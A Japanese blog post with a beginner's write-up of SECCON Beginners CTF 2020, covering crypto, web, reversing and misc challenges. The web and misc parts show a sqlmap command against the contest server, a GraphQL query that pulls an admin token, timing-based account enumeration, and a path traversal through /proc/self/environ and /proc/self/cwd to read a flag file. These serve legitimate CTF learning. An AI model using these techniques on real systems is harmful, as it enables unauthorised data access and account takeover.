SECCON Beginners CTF 2020 Write Up

Qiita初投稿、技術ブログ自体初投稿です。
フォーラムで質問した程度しかないため、大変拙い文章になっております。
ご了承ください。

今回、2,3回目のSECCON BEGINNERS参戦でした。(1人チーム)
ようやく自力で3割近くの問題を解けるようになったので、これを機に自分でも振り返る用に解けた所だけですがwrite upを書いていきます。
私は668点で155位でした。
運営曰く、6/15までは問題サーバーは破壊しないらしいので、今週末にでも再度解きなおそうかと思います。

以下、結果のハードコピー。
![SECCON_BEGINNERS_2020_SCORE.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/653289/7a3f41f9-a98c-7e52-39a8-0fffea10e4a9.png)

![score.beginners.seccon.jp_teams_499.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/653289/b66057c0-6f6b-821d-f2b5-db3e909b7f1e.png)

![score.beginners.seccon.jp_challenges.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/653289/1963ab0c-36c3-446b-235e-1dadfb77e3f9.png)

ハードコピーって、WEPページ丸々1ページを一気にキャプチャできるんですね。この記事書くまで知らなかった。
* [ChromeでWEBページ全体をフルスクリーンショット！見ているページの全画面キャプチャー画像をダウンロードする方法](https://requlog.com/self-branding/blog/chrome-full-screen-capture/)

## Pwn
どの問題も時間内に解けなかったです････後でゆっくり解きます。
Write Up書けるほど解けてないので、また後日加筆します。
なんとなくバッファオーバーフローさせるのは分かって動的解析はしてみたけど、動的解析の熟練度が低すぎる･････

## Crypto

### R&B

```problem.py
from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)
```

これを何回か適用したものがencoded_flag。

```encoded_flag
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
```

先頭文字がBならrot13、Rならbase64でそれぞれデコード。
解答時は試行錯誤して上記の解法見つけてから、愚直にrot13した文字列をコピペしてbase64でデコードして、その結果の文字列をコピペして････って事やってました。時間の無駄無駄無駄ぁ！！！
でも、よく考えたらpythonで.decodeあるじゃん。

```solve.py
t = open("encoded_flag", "rb").read()
while True:
  t = t[1:].decode("rot13" if t[0]=="R" else "base64")
  print t
```

上記のコードをpython2で実行して、以下のフラグをゲット。

`ctf4b{rot_base_rot_base_rot_base_base}`

### Noisy equations

時間内に解けませんでした。
毎回ランダムにanswerが生成される････？
と解答時は悩んでましたが、これただの行列演算じゃん。
dot(A, B)の時点で気付けよ。

あとでゆっくり解きますが、おそらく$CF+R=A$みたいな形のベクトルから$F$を求めればいいのかな？

### RSA Calc

こちらも時間内に解けませんでした。
タイトルとプログラム実行の画面見ると、1.sign･･･署名が必要？
後でじっくり解きます。

### Encrypter

問題を解く取っ掛かりが分からなかった問題の1つ。
もうしばらく考えてダメなら、他のWrite Up見ちゃうか････

### C4B

時間中に手が付けられなかった････
今後は、解けなくてもとりあえず問題文や、公開されてるソースコードをざっとでも見ておこう。
この問題なら、Solidityを調べれば、いくらかは解法が見えてきそうだし。

## Web

### Spy

解答中は一番解き方が分からなかったかもしれない。
なんでみんなすぐに解けてしまうんだ？
ログインしようにも、SQi全然できないし、そこから先全然進まず断念。
でも、よくよく問題文を見たら、対象のユーザーを列挙するだけでした。

････そりゃ簡単だ。
解法は色々あるでしょうが、とりあえずBurpのIntruder使って、明らかに実行時間がかかっているアカウントを見付けました。
なお、この問題ではサーバー側が実行時間を教えてくれてました。親切。

`ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}`

### Tweetstore

数少ない解答できた問題。

```webserver.go
 :
func initialize() {
	var err error

	dbname := "ctf"
	dbuser := os.Getenv("FLAG")
	dbpass := "password"

	connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
 :
```

上記のinitialize関数で、dbuser := os.Getenv("FLAG") としている。
つまり、サーバーの初期化時に、サーバーの環境変数にあるフラグの値を、
dbuserの値としており、コネクション情報としてその後も使用している。
というわけで、sqlmapでサーバーでのカレントユーザー情報を取得します。
`sqlmap -u "https://tweetstore.quals.beginners.seccon.jp/?search=aaaa&limit=1" --current-user`で取得。

`current user: 'ctf4b{is_postgres_your_friend?}'`

### unzip

時間内に解けなかった。
ディレクトリトラバーサルを悪用するのは分かったけど、解答時はどこに仕込むか分からず悪戦苦闘。
適当なphpファイルを作って、それをバイナリエディタでマジックナンバー書き換えて拡張子を変えて、そのphpファイルの内容を実行させて････ってOSコマンドインジェクションじゃないか････

後からよく読んでみたら、ZIPアーカイブに含まれている各ファイル名が正しいかチェックしていた。
ZIPファイルそのものじゃなかった･････
まだ解答を確認してないけど、適当にZIPファイル作って、ZIPに含まれているファイル名を../../flag.txtにしてアップロードすればいいかな？

### profiler

ほとんど寝ぼけながらやってたら、いつの間にか解けてた。
理屈分からず(寝ぼけて覚えてないが正しい)解けたのに、一番ゲットした点数が高いってどうなの････

通信を見ると、GraphQLのフォーマットでした。
次に、ほとんど眠気で首をカックンカックン揺らしながらグーグル先生に質問すると、以下の脆弱性を見付けました。この時点で仮眠取った方が良かったのかなぁ･･･？

* [GraphQL — Common vulnerabilities & how to exploit them](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)

このページに書かれている通りにすると結果が返ってきて、どのようなクエリが使えるのかが分かる。

```
query { someone(uid: "admin") {
      uid
      name
      profile
      token
    }
  }
```

でadminのtokenが得られる。自分のトークンをadminのトークンに変更。

```
mutation {
      updateToken(token: "自分のトークン")
}
```

でトークンを書き換える。

`ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}`

### Somen

時間内に解けませんでした。
とりあえずXSSだという事は分かった。ZAP使って走査まではしたけど、有効な回避手段が時間内に分からず断念。
あとで解きなおします。

## Reversing

### mask

Reversingで唯一解答できました。
Reversing周りが弱いのが今後の課題かなぁ･････

愚直に、ltraceで動作を見ながら、引数を調整しました。
時間の無駄無駄無駄無駄無駄ぁ！！！！
a～Zまでを引数にして実行→フラグに対して`0x75`で`&`を取る箇所→`0xeb`で`&`を取る箇所
の段階で引数を調整。むっちゃ時間かかった。
でも、他のWrite Upを読んでみると、かなり簡単に解いておられますね････
正解となるフラグに対して、`0x75`で`&`を取った値と、`0xeb`で`&`を取った値が分かるから、`(0x75|0xeb)==0xff`なので両者の値の`|`を取れば良い。
そりゃそうだ･･････

`ctf4b{dont_reverse_face_mask}`

### yakisoba

> (Hint: You'd better automate your analysis)

angr使えば簡単に解ける？

### ghost

後で解きなおします。
ちょっと取っ掛かりが掴めない。

### siblangs

Androidアプリ。
完全に後回しにしてた。ほとんど解いてない････
とりあえずフラグの前半部分は、assets/index.android.bundleで処理しているっぽい所まではみつけた。unzipして、文字列検索かけただけだけど。
処理は単なるxorで鍵は"AKeyFor"+h.Platform.OS+"10.3"。じゃあプラットフォームはiosに変更。

```solve.py
 :
xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]
key = "AKeyForios10.3"
print("".join(chr(ord(key[i%len(key)])^xored[i]) for i in range(len(xored))))
```

後半は全く手付かず。

### sneaky

コンソールのヘビゲーム。
ちょっとだけ動かしてみたけど、意外と動き早いなこの蛇。
そんなに壁に急いで激突しなくても良くない？
gdbか何かで動的解析して、スコアを書き換えれば良さそう。
でも時間内に解けませんでした････

## Misc
2/3も解けたのは行幸。
単純に出題数が他に比べて少ない＆Welcomeが混じってるからだけど。

### Welcom

> フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。

ctf4b-botじゃなくて、 #announcement にフラグが書かれているという罠。

> xrekkusu今日 14:01
> 競技開始しました！Welcome問題のフラグはこちらになります: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

`ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}`

### emoemoencode

> 🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

なぁにこれぇ？
と思って、この文字コードを調べてみたら、下位1バイト、および一部の下位2バイト以外が一致している。
🍣🍴🍦🌴🍢🍻🍟🍽をそれぞれ`ctf4{_}`とおけば、下位2バイト`8D A1～8D BA`が`a～z`、`8C B0～8C B9`が`0～9`に対応する。
よって、
`ctf4b{stegan0graphy_by_em000000ji}`

### readme

知識不足が露呈。
時間内に解けなかったですが、実在するファイル名で、`../`を頭に含まず、`ctf`を含めないという条件で頭の中がオーバーヒート。

```server.py
#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")
```

結論として、`/proc/self/environ`を開いて、カレントディレクトリを確認し、そこから相対パスを見付ける。

* [Linux豆知識 196 - /procディレクトリのファイル](https://linuc.org/study/knowledge/526/)
* [E.3. /PROC/ 内のディレクトリ](https://access.redhat.com/documentation/ja-jp/red_hat_enterprise_linux/6/html/deployment_guide/s1-proc-directories)

```
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
... PYTHON_VERSION=3.7.7 PWD=/home/ctf/serve PYT...
```

カレントディレクトリは /home/ctf/serve。

```
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
```

`ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}`